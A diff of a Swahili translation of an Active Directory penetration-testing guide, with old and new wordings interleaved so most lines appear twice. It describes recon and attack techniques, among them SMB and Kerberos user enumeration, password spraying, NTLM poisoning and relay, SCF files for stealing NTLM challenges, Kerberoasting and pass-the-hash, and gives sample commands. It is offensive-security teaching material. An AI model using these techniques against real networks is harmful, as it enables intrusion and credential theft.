3. **Domain** – Inatumika kama chombo cha vitu vya directory, ikiwa na uwezo wa doma nyingi kuishi pamoja ndani ya **msitu**, kila moja ikihifadhi mkusanyiko wake wa vitu.
|
||||
4. **Tree** – Kundi la doma zinazoshiriki domain ya mzizi wa pamoja.
|
||||
5. **Forest** – Kilele cha muundo wa shirika katika Active Directory, kinachojumuisha miti kadhaa zikiwa na **uaminifu** kati yao.
|
||||
|
||||
**Huduma za Doma za Active Directory (AD DS)** zinajumuisha huduma mbalimbali muhimu kwa usimamizi wa kati na mawasiliano ndani ya mtandao. Huduma hizi ni pamoja na:
|
||||
**Active Directory Domain Services (AD DS)** inajumuisha huduma mbalimbali muhimu kwa usimamizi wa kati na mawasiliano ndani ya mtandao. Huduma hizi zinajumuisha:
|
||||
|
||||
1. **Huduma za Doma** – Inakusanya uhifadhi wa data na kusimamia mwingiliano kati ya **watumiaji** na **doma**, ikiwa ni pamoja na **uthibitishaji** na **utafutaji**.
|
||||
2. **Huduma za Cheti** – Inasimamia uundaji, usambazaji, na usimamizi wa **vyeti vya dijitali** salama.
|
||||
3. **Huduma za Directory za Nyepesi** – Inasaidia programu zinazotumia directory kupitia **protokali ya LDAP**.
|
||||
4. **Huduma za Shirikisho la Directory** – Inatoa uwezo wa **kuingia mara moja** kuthibitisha watumiaji katika programu nyingi za wavuti katika kikao kimoja.
|
||||
5. **Usimamizi wa Haki** – Inasaidia kulinda mali ya hakimiliki kwa kudhibiti usambazaji na matumizi yake yasiyoidhinishwa.
|
||||
6. **Huduma ya DNS** – Muhimu kwa kutatua **majina ya doma**.
|
||||
1. **Domain Services** – Inakusanya uhifadhi wa data na kusimamia mwingiliano kati ya **watumiaji** na **doma**, ikiwa ni pamoja na **uthibitishaji** na **utafutaji**.
|
||||
2. **Certificate Services** – Inasimamia uundaji, usambazaji, na usimamizi wa **vyeti vya dijitali** salama.
|
||||
3. **Lightweight Directory Services** – Inasaidia programu zinazotumia directory kupitia **protokali ya LDAP**.
|
||||
4. **Directory Federation Services** – Inatoa uwezo wa **kuingia mara moja** kuthibitisha watumiaji katika programu nyingi za wavuti katika kikao kimoja.
|
||||
5. **Rights Management** – Inasaidia kulinda mali ya hakimiliki kwa kudhibiti usambazaji na matumizi yake yasiyoidhinishwa.
|
||||
6. **DNS Service** – Muhimu kwa kutatua **majina ya doma**.
|
||||
|
||||
Kwa maelezo zaidi, angalia: [**TechTerms - Maelezo ya Active Directory**](https://techterms.com/definition/active_directory)
|
||||
Kwa maelezo zaidi, angalia: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
|
||||
|
||||
### **Uthibitishaji wa Kerberos**
|
||||
### **Kerberos Authentication**
|
||||
|
||||
Ili kujifunza jinsi ya **kushambulia AD** unahitaji **kuelewa** vizuri mchakato wa **uthibitishaji wa Kerberos**.\
|
||||
[**Soma ukurasa huu ikiwa bado hujui jinsi inavyofanya kazi.**](kerberos-authentication.md)
|
||||
|
||||
## Karatasi ya Kusaidia
|
||||
## Cheat Sheet
|
||||
|
||||
Unaweza kutembelea [https://wadcoms.github.io/](https://wadcoms.github.io) kupata muonekano wa haraka wa amri ambazo unaweza kutumia kuhesabu/kushambulia AD.
|
||||
Unaweza kutembelea [https://wadcoms.github.io/](https://wadcoms.github.io) kupata muonekano wa haraka wa amri ambazo unaweza kukimbia ili kuhesabu/kutumia AD.
|
||||
|
||||
## Recon Active Directory (Hakuna akidi/sessions)
|
||||
## Recon Active Directory (No creds/sessions)
|
||||
|
||||
Ikiwa una ufikiaji tu wa mazingira ya AD lakini huna akidi/sessions zozote unaweza:
|
||||
Ikiwa una ufikiaji tu wa mazingira ya AD lakini huna akreditivu/sessions unaweza:
|
||||
|
||||
- **Pentest mtandao:**
|
||||
- Fanya skana ya mtandao, pata mashine na bandari wazi na jaribu **kushambulia udhaifu** au **kuchota akidi** kutoka kwao (kwa mfano, [printa zinaweza kuwa malengo ya kuvutia sana](ad-information-in-printers.md).
|
||||
- Kuangalia DNS kunaweza kutoa taarifa kuhusu seva muhimu katika doma kama wavuti, printa, sehemu, vpn, media, nk.
|
||||
- Scan mtandao, pata mashine na bandari wazi na jaribu **kutumia udhaifu** au **kuchota akreditivu** kutoka kwao (kwa mfano, [printa zinaweza kuwa malengo ya kuvutia sana](ad-information-in-printers.md)).
|
||||
- Kuangalia DNS kunaweza kutoa taarifa kuhusu seva muhimu katika domain kama wavuti, printa, sehemu, vpn, media, nk.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Angalia [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) kupata maelezo zaidi kuhusu jinsi ya kufanya hivi.
|
||||
- **Angalia ufikiaji wa null na Guest kwenye huduma za smb** (hii haitafanya kazi kwenye toleo za kisasa za Windows):
|
||||
- **Angalia ufikiaji wa null na Guest kwenye huduma za smb** (hii haitafanya kazi kwenye toleo la kisasa la Windows):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
- Mwongozo wa kina zaidi juu ya jinsi ya kuhesabu seva ya SMB unaweza kupatikana hapa:
|
||||
- Mwongozo wa kina juu ya jinsi ya kuhesabu seva ya SMB unaweza kupatikana hapa:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/
|
||||
@ -57,27 +57,27 @@ Ikiwa una ufikiaji tu wa mazingira ya AD lakini huna akidi/sessions zozote unawe
|
||||
|
||||
- **Hesabu Ldap**
|
||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
- Mwongozo wa kina zaidi juu ya jinsi ya kuhesabu LDAP unaweza kupatikana hapa (lipa **kipaumbele maalum kwa ufikiaji wa siri**):
|
||||
- Mwongozo wa kina juu ya jinsi ya kuhesabu LDAP unaweza kupatikana hapa (lipa **kipaumbele maalum kwa ufikiaji wa siri**):
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
- **Poison mtandao**
|
||||
- Kusanya akidi [**ukijifanya huduma kwa Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- Kusanya akreditivu [**ukijifanya huduma kwa Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- Fikia mwenyeji kwa [**kudhulumu shambulio la relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Kusanya akidi **ukifichua** [**huduma za UPnP za uongo na evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- Kusanya akreditivu **ukifichua** [**huduma za UPnP za uongo na evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
|
||||
- Toa majina ya watumiaji/majina kutoka kwa nyaraka za ndani, mitandao ya kijamii, huduma (hasa wavuti) ndani ya mazingira ya doma na pia kutoka kwa taarifa zinazopatikana hadharani.
|
||||
- Ikiwa unapata majina kamili ya wafanyakazi wa kampuni, unaweza kujaribu mifumo tofauti ya **majina ya watumiaji AD** (**[soma hii](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Mifumo ya kawaida ni: _NameSurname_, _Name.Surname_, _NamSur_ (herufi 3 za kila moja), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, herufi 3 _za nasibu na nambari 3 za nasibu_ (abc123).
|
||||
- Toa majina ya watumiaji/majina kutoka kwa nyaraka za ndani, mitandao ya kijamii, huduma (hasa wavuti) ndani ya mazingira ya domain na pia kutoka kwa yaliyopo hadharani.
|
||||
- Ikiwa unapata majina kamili ya wafanyakazi wa kampuni, unaweza kujaribu mifumo tofauti ya **majina ya watumiaji AD** (**[**soma hii**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Mifumo ya kawaida ni: _NameSurname_, _Name.Surname_, _NamSur_ (herufi 3 za kila moja), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, herufi 3 _za nasibu na nambari 3 za nasibu_ (abc123).
|
||||
- Zana:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
|
||||
### Hesabu ya Watumiaji
|
||||
### User enumeration
|
||||
|
||||
- **Hesabu ya SMB/LDAP isiyo na jina:** Angalia [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) na [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) kurasa.
|
||||
- **Hesabu ya Kerbrute**: Wakati **jina la mtumiaji lisilo sahihi linapohitajika** seva itajibu kwa kutumia **kod ya kosa la Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, ikituruhusu kubaini kwamba jina la mtumiaji halikuwa sahihi. **Majina sahihi ya watumiaji** yatatoa ama **TGT katika jibu la AS-REP** au kosa _KRB5KDC_ERR_PREAUTH_REQUIRED_, ikionyesha kwamba mtumiaji anahitajika kufanya uthibitishaji wa awali.
|
||||
- **Anonymous SMB/LDAP enum:** Angalia [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) na [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) kurasa.
|
||||
- **Kerbrute enum**: Wakati **jina la mtumiaji lisilo sahihi linapohitajika** seva itajibu kwa kutumia **kodi ya kosa la Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, ikituruhusu kubaini kwamba jina la mtumiaji halikuwa sahihi. **Majina sahihi ya watumiaji** yatatoa ama **TGT katika jibu la AS-REP** au kosa _KRB5KDC_ERR_PREAUTH_REQUIRED_, ikionyesha kwamba mtumiaji anahitajika kufanya uthibitishaji wa awali.
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
@ -105,13 +105,13 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
|
||||
> [!WARNING]
|
||||
> Unaweza kupata orodha za majina ya watumiaji katika [**hii github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* na hii nyingine ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
|
||||
>
|
||||
> Hata hivyo, unapaswa kuwa na **jina la watu wanaofanya kazi katika kampuni** kutoka hatua ya reconnaissance ambayo unapaswa kuwa umefanya kabla ya hii. Kwa jina na jina la ukoo unaweza kutumia script [**namemash.py**](https://gist.github.com/superkojiman/11076951) kuunda majina ya watumiaji halali yanayoweza kuwa.
|
||||
> Hata hivyo, unapaswa kuwa na **jina la watu wanaofanya kazi katika kampuni** kutoka hatua ya recon ambayo unapaswa kuwa umefanya kabla ya hii. Ukiwa na jina na jina la ukoo unaweza kutumia script [**namemash.py**](https://gist.github.com/superkojiman/11076951) kuunda majina ya watumiaji halali yanayoweza kuwa.
|
||||
|
||||
### Kujua jina moja au kadhaa la watumiaji
|
||||
|
||||
Sawa, kwa hivyo unajua tayari una jina halali la mtumiaji lakini hakuna nywila... Kisha jaribu:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): Ikiwa mtumiaji **hana** sifa _DONT_REQ_PREAUTH_ unaweza **kuomba ujumbe wa AS_REP** kwa mtumiaji huyo ambao utakuwa na baadhi ya data iliyosimbwa kwa kutumia mchanganyiko wa nywila ya mtumiaji.
|
||||
- [**ASREPRoast**](asreproast.md): Ikiwa mtumiaji **hana** sifa _DONT_REQ_PREAUTH_ unaweza **kuomba ujumbe wa AS_REP** kwa mtumiaji huyo ambao utakuwa na data fulani iliyosimbwa kwa derivation ya nywila ya mtumiaji.
|
||||
- [**Password Spraying**](password-spraying.md): Hebu jaribu nywila **za kawaida zaidi** na kila mmoja wa watumiaji waliogunduliwa, labda mtumiaji fulani anatumia nywila mbaya (kumbuka sera ya nywila!).
|
||||
- Kumbuka kwamba unaweza pia **spray OWA servers** kujaribu kupata ufikiaji wa seva za barua za watumiaji.
|
||||
|
||||
@ -121,7 +121,7 @@ password-spraying.md
|
||||
|
||||
### LLMNR/NBT-NS Poisoning
|
||||
|
||||
Unaweza kuwa na uwezo wa **kupata** baadhi ya changamoto **hashes** ili kuvunja **kuchafua** baadhi ya protokali za **mtandao**:
|
||||
Unaweza kuwa na uwezo wa **kupata** baadhi ya changamoto **hashes** ili kuvunja **kuambukiza** baadhi ya protokali za **mtandao**:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
@ -129,21 +129,21 @@ Unaweza kuwa na uwezo wa **kupata** baadhi ya changamoto **hashes** ili kuvunja
|
||||
|
||||
### NTML Relay
|
||||
|
||||
Ikiwa umeweza kuorodhesha active directory utakuwa na **barua pepe zaidi na ufahamu bora wa mtandao**. Unaweza kuwa na uwezo wa kulazimisha NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* kupata ufikiaji wa mazingira ya AD.
|
||||
Ikiwa umeweza kuhesabu active directory utakuwa na **barua pepe zaidi na ufahamu bora wa mtandao**. Unaweza kuwa na uwezo wa kulazimisha NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* kupata ufikiaji wa mazingira ya AD.
|
||||
|
||||
### Kuiba NTLM Creds
|
||||
|
||||
Ikiwa unaweza **kufikia kompyuta nyingine au sehemu** na **mtumiaji wa null au mgeni** unaweza **kweka faili** (kama faili ya SCF) ambayo ikiwa kwa namna fulani itafikiwa itasababisha **uthibitishaji wa NTML dhidi yako** ili uweze **kuiba** **NTLM challenge** ili kuivunja:
|
||||
Ikiwa unaweza **kufikia kompyuta nyingine au sehemu** na **mtumiaji wa null au mgeni** unaweza **kweka faili** (kama faili ya SCF) ambayo ikiwa kwa namna fulani itafikiwa it **trigger an NTML authentication against you** ili uweze **kuiba** **NTLM challenge** ili kuivunja:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
## Kuorodhesha Active Directory KWA nywila/sessio
|
||||
## Kuorodhesha Active Directory KWA nywila/sessheni
|
||||
|
||||
Kwa hatua hii unahitaji kuwa **umevunjika nywila au sessio ya akaunti halali ya kikoa.** Ikiwa una nywila halali au shell kama mtumiaji wa kikoa, **unapaswa kukumbuka kwamba chaguzi zilizotolewa hapo awali bado ni chaguzi za kuvunja watumiaji wengine**.
|
||||
Kwa hatua hii unahitaji kuwa **umevunjika nywila au sessheni ya akaunti halali ya domain.** Ikiwa una nywila halali au shell kama mtumiaji wa domain, **unapaswa kukumbuka kwamba chaguzi zilizotolewa hapo awali bado ni chaguzi za kuvunja watumiaji wengine**.
|
||||
|
||||
Kabla ya kuanza kuorodhesha kwa uthibitisho unapaswa kujua ni nini **shida ya Kerberos double hop.**
|
||||
Kabla ya kuanza kuorodhesha kwa uthibitisho unapaswa kujua ni nini **Kerberos double hop problem.**
|
||||
|
||||
{{#ref}}
|
||||
kerberos-double-hop-problem.md
|
||||
@ -151,31 +151,31 @@ kerberos-double-hop-problem.md
|
||||
|
||||
### Kuorodhesha
|
||||
|
||||
Kuwa na akaunti iliyovunjika ni **hatua kubwa ya kuanza kuvunja kikoa zima**, kwa sababu utaweza kuanza **Kuorodhesha Active Directory:**
|
||||
Kuwa na akaunti iliyovunjika ni **hatua kubwa ya kuanza kuvunja domain nzima**, kwa sababu utaweza kuanza **Kuorodhesha Active Directory:**
|
||||
|
||||
Kuhusu [**ASREPRoast**](asreproast.md) sasa unaweza kupata kila mtumiaji anayeweza kuwa hatarini, na kuhusu [**Password Spraying**](password-spraying.md) unaweza kupata **orodha ya majina yote ya watumiaji** na kujaribu nywila ya akaunti iliyovunjika, nywila tupu na nywila mpya zinazowezekana.
|
||||
|
||||
- Unaweza kutumia [**CMD kufanya reconnaissance ya msingi**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- Unaweza pia kutumia [**powershell kwa reconnaissance**](../basic-powershell-for-pentesters/) ambayo itakuwa ya siri zaidi
|
||||
- Unaweza pia [**kutumia powerview**](../basic-powershell-for-pentesters/powerview.md) kutoa taarifa zaidi za kina
|
||||
- Zana nyingine nzuri kwa ajili ya reconnaissance katika active directory ni [**BloodHound**](bloodhound.md). Si **ya siri sana** (kulingana na mbinu za ukusanyaji unazotumia), lakini **ikiwa hujali** kuhusu hilo, unapaswa kujaribu kabisa. Pata mahali ambapo watumiaji wanaweza RDP, pata njia za makundi mengine, nk.
|
||||
- Unaweza kutumia [**CMD kufanya recon ya msingi**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- Unaweza pia kutumia [**powershell kwa recon**](../basic-powershell-for-pentesters/) ambayo itakuwa ya siri zaidi
|
||||
- Unaweza pia [**kutumia powerview**](../basic-powershell-for-pentesters/powerview.md) kutoa taarifa za kina zaidi
|
||||
- Zana nyingine nzuri kwa ajili ya recon katika active directory ni [**BloodHound**](bloodhound.md). Si **ya siri sana** (kulingana na mbinu za ukusanyaji unazotumia), lakini **ikiwa hujali** kuhusu hilo, unapaswa kujaribu kabisa. Pata mahali ambapo watumiaji wanaweza RDP, pata njia za makundi mengine, nk.
|
||||
- **Zana nyingine za kuorodhesha za AD za kiotomatiki ni:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**Rekodi za DNS za AD**](ad-dns-records.md) kwani zinaweza kuwa na taarifa za kuvutia.
|
||||
- Zana **iliyokuwa na GUI** ambayo unaweza kutumia kuorodhesha directory ni **AdExplorer.exe** kutoka **SysInternal** Suite.
|
||||
- Unaweza pia kutafuta katika database ya LDAP kwa **ldapsearch** kutafuta nywila katika maeneo _userPassword_ & _unixUserPassword_, au hata kwa _Description_. cf. [Nywila katika AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) kwa mbinu nyingine.
|
||||
- Ikiwa unatumia **Linux**, unaweza pia kuorodhesha kikoa kwa kutumia [**pywerview**](https://github.com/the-useless-one/pywerview).
|
||||
- **Zana yenye GUI** ambayo unaweza kutumia kuorodhesha directory ni **AdExplorer.exe** kutoka **SysInternal** Suite.
|
||||
- Unaweza pia kutafuta katika database ya LDAP kwa **ldapsearch** kutafuta nywila katika maeneo _userPassword_ & _unixUserPassword_, au hata kwa _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) kwa mbinu nyingine.
|
||||
- Ikiwa unatumia **Linux**, unaweza pia kuorodhesha domain kwa kutumia [**pywerview**](https://github.com/the-useless-one/pywerview).
|
||||
- Unaweza pia kujaribu zana za kiotomatiki kama:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
- **Kutoa majina yote ya watumiaji wa kikoa**
|
||||
- **Kutoa majina yote ya watumiaji wa domain**
|
||||
|
||||
Ni rahisi sana kupata majina yote ya watumiaji wa kikoa kutoka Windows (`net user /domain` ,`Get-DomainUser` au `wmic useraccount get name,sid`). Katika Linux, unaweza kutumia: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` au `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
Ni rahisi sana kupata majina yote ya watumiaji wa domain kutoka Windows (`net user /domain` ,`Get-DomainUser` au `wmic useraccount get name,sid`). Katika Linux, unaweza kutumia: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` au `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
> Hata kama sehemu hii ya Kuorodhesha inaonekana ndogo hii ndiyo sehemu muhimu zaidi ya yote. Fikia viungo (hasa ile ya cmd, powershell, powerview na BloodHound), jifunze jinsi ya kuorodhesha kikoa na fanya mazoezi hadi ujisikie vizuri. Wakati wa tathmini, hii itakuwa wakati muhimu wa kupata njia yako kwenda DA au kuamua kwamba hakuna kinachoweza kufanywa.
|
||||
> Hata kama sehemu hii ya Kuorodhesha inaonekana ndogo hii ndiyo sehemu muhimu zaidi ya yote. Fikia viungo (hasa ile ya cmd, powershell, powerview na BloodHound), jifunze jinsi ya kuorodhesha domain na fanya mazoezi hadi ujisikie vizuri. Wakati wa tathmini, hii itakuwa wakati muhimu wa kupata njia yako hadi DA au kuamua kwamba hakuna kinachoweza kufanywa.
|
||||
|
||||
### Kerberoast
|
||||
|
||||
Kerberoasting inahusisha kupata **TGS tickets** zinazotumiwa na huduma zinazohusiana na akaunti za watumiaji na kuvunja usimbaji wao—ambao unategemea nywila za watumiaji—**nje ya mtandao**.
|
||||
Kerberoasting inahusisha kupata **TGS tickets** zinazotumiwa na huduma zinazohusiana na akaunti za watumiaji na kuvunja usimbaji wao—ambao unategemea nywila za watumiaji—**offline**.
|
||||
|
||||
Zaidi kuhusu hii katika:
|
||||
|
||||
@ -183,19 +183,19 @@ Zaidi kuhusu hii katika:
|
||||
kerberoast.md
|
||||
{{#endref}}
|
||||
|
||||
### Muunganisho wa mbali (RDP, SSH, FTP, Win-RM, nk)
|
||||
### Remote connexion (RDP, SSH, FTP, Win-RM, nk)
|
||||
|
||||
Mara tu unapokuwa umepata baadhi ya nywila unaweza kuangalia ikiwa una ufikiaji wa **kompyuta** yoyote. Kwa jambo hilo, unaweza kutumia **CrackMapExec** kujaribu kuungana kwenye seva kadhaa kwa kutumia protokali tofauti, kulingana na skana zako za port.
|
||||
Mara tu unapokuwa umepata baadhi ya nywila unaweza kuangalia ikiwa una ufikiaji wa **mashine** yoyote. Kwa jambo hilo, unaweza kutumia **CrackMapExec** kujaribu kuungana kwenye seva kadhaa kwa kutumia protokali tofauti, kulingana na skana zako za port.
|
||||
|
||||
### Kuinua Privilege za Mitaa
|
||||
### Local Privilege Escalation
|
||||
|
||||
Ikiwa umevunjika nywila au sessio kama mtumiaji wa kawaida wa kikoa na una **ufikiaji** na mtumiaji huyu kwa **kompyuta yoyote katika kikoa** unapaswa kujaribu kupata njia yako ya **kuinua mamlaka kwa ndani na kutafuta nywila**. Hii ni kwa sababu ni tu kwa mamlaka ya msimamizi wa ndani utaweza **dump hashes za watumiaji wengine** katika kumbukumbu (LSASS) na kwa ndani (SAM).
|
||||
Ikiwa umevunjika nywila au sessheni kama mtumiaji wa kawaida wa domain na una **ufikiaji** na mtumiaji huyu kwa **mashine yoyote katika domain** unapaswa kujaribu kupata njia yako ya **kuinua mamlaka kwa ndani na kutafuta nywila**. Hii ni kwa sababu ni tu kwa mamlaka ya msimamizi wa ndani utaweza **dump hashes za watumiaji wengine** katika kumbukumbu (LSASS) na kwa ndani (SAM).
|
||||
|
||||
Kuna ukurasa kamili katika kitabu hiki kuhusu [**kuinua mamlaka za ndani katika Windows**](../windows-local-privilege-escalation/) na [**orodha ya ukaguzi**](../checklist-windows-privilege-escalation.md). Pia, usisahau kutumia [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
Kuna ukurasa kamili katika kitabu hiki kuhusu [**kuinua mamlaka ya ndani katika Windows**](../windows-local-privilege-escalation/) na [**orodha ya ukaguzi**](../checklist-windows-privilege-escalation.md). Pia, usisahau kutumia [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
|
||||
### Tiketi za Sessio za Sasa
|
||||
### Current Session Tickets
|
||||
|
||||
Ni **ngumu sana** kwamba utapata **tiketi** katika mtumiaji wa sasa **ukikupa ruhusa ya kufikia** rasilimali zisizotarajiwa, lakini unaweza kuangalia:
|
||||
Ni **ngumu sana** kwamba utapata **tickets** katika mtumiaji wa sasa **ukikupa ruhusa ya kufikia** rasilimali zisizotarajiwa, lakini unaweza kuangalia:
|
||||
```bash
|
||||
## List all tickets (if not admin, only current user tickets)
|
||||
.\Rubeus.exe triage
|
||||
@ -215,7 +215,7 @@ Sasa kwamba una baadhi ya akidi za msingi unapaswa kuangalia kama unaweza **kupa
|
||||
|
||||
### Steal NTLM Creds
|
||||
|
||||
Ikiwa unaweza **kufikia PCs nyingine au shares** unaweza **kweka faili** (kama faili la SCF) ambayo ikiwa kwa namna fulani itafikiwa it **itazindua uthibitisho wa NTML dhidi yako** ili uweze **kuiba** **changamoto ya NTLM** ili kuifungua:
|
||||
Ikiwa unaweza **kufikia PCs nyingine au shares** unaweza **kweka faili** (kama faili la SCF) ambayo ikiwa kwa namna fulani inafikiwa it **itazindua uthibitisho wa NTML dhidi yako** ili uweze **kuiba** **changamoto ya NTLM** ili kuifungua:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -223,7 +223,7 @@ Ikiwa unaweza **kufikia PCs nyingine au shares** unaweza **kweka faili** (kama f
|
||||
|
||||
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
|
||||
|
||||
Uthibitisho huu uliruhusu mtumiaji yeyote aliyeidhinishwa **kuharibu kidhibiti cha eneo**.
|
||||
Ushahidi huu uliruhusu mtumiaji yeyote aliyeidhinishwa **kuathiri kidhibiti cha eneo**.
|
||||
|
||||
{{#ref}}
|
||||
printnightmare.md
|
||||
@ -235,19 +235,19 @@ printnightmare.md
|
||||
|
||||
### Hash extraction
|
||||
|
||||
Tuna matumaini umeweza **kuharibu akaunti ya msimamizi wa ndani** kwa kutumia [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ikiwa ni pamoja na relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [kuinua haki kwa ndani](../windows-local-privilege-escalation/).\
|
||||
Tuna matumaini umeweza **kuathiri akaunti ya msimamizi wa ndani** kwa kutumia [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ikiwa ni pamoja na relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [kuinua haki kwa ndani](../windows-local-privilege-escalation/).\
|
||||
Kisha, ni wakati wa kutupa hash zote kwenye kumbukumbu na ndani.\
|
||||
[**Soma ukurasa huu kuhusu njia tofauti za kupata hash.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Pass the Hash
|
||||
|
||||
**Mara tu unapo kuwa na hash ya mtumiaji**, unaweza kuitumia **kujifanya** kuwa yeye.\
|
||||
**Mara tu unapo kuwa na hash ya mtumiaji**, unaweza kuitumia ili **kujifanya** kuwa yeye.\
|
||||
Unahitaji kutumia **chombo** ambacho kitafanya **uthibitisho wa NTLM kwa kutumia** hiyo **hash**, **au** unaweza kuunda **sessionlogon** mpya na **kuingiza** hiyo **hash** ndani ya **LSASS**, hivyo wakati wowote **uthibitisho wa NTLM unafanywa**, hiyo **hash itatumika.** Chaguo la mwisho ndilo ambalo mimikatz hufanya.\
|
||||
[**Soma ukurasa huu kwa maelezo zaidi.**](../ntlm/#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
|
||||
Shambulizi hili linakusudia **kutumia hash ya mtumiaji wa NTLM kuomba tiketi za Kerberos**, kama mbadala wa Pass The Hash juu ya itifaki ya NTLM. Hivyo, hii inaweza kuwa hasa **faida katika mitandao ambapo itifaki ya NTLM imezimwa** na tu **Kerberos inaruhusiwa** kama itifaki ya uthibitisho.
|
||||
Shambulizi hili linakusudia **kutumia hash ya mtumiaji wa NTLM kuomba tiketi za Kerberos**, kama mbadala wa Pass The Hash ya kawaida juu ya itifaki ya NTLM. Hivyo, hii inaweza kuwa hasa **faida katika mitandao ambapo itifaki ya NTLM imezimwa** na tu **Kerberos inaruhusiwa** kama itifaki ya uthibitisho.
|
||||
|
||||
{{#ref}}
|
||||
over-pass-the-hash-pass-the-key.md
|
||||
@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### Pass the Ticket
|
||||
|
||||
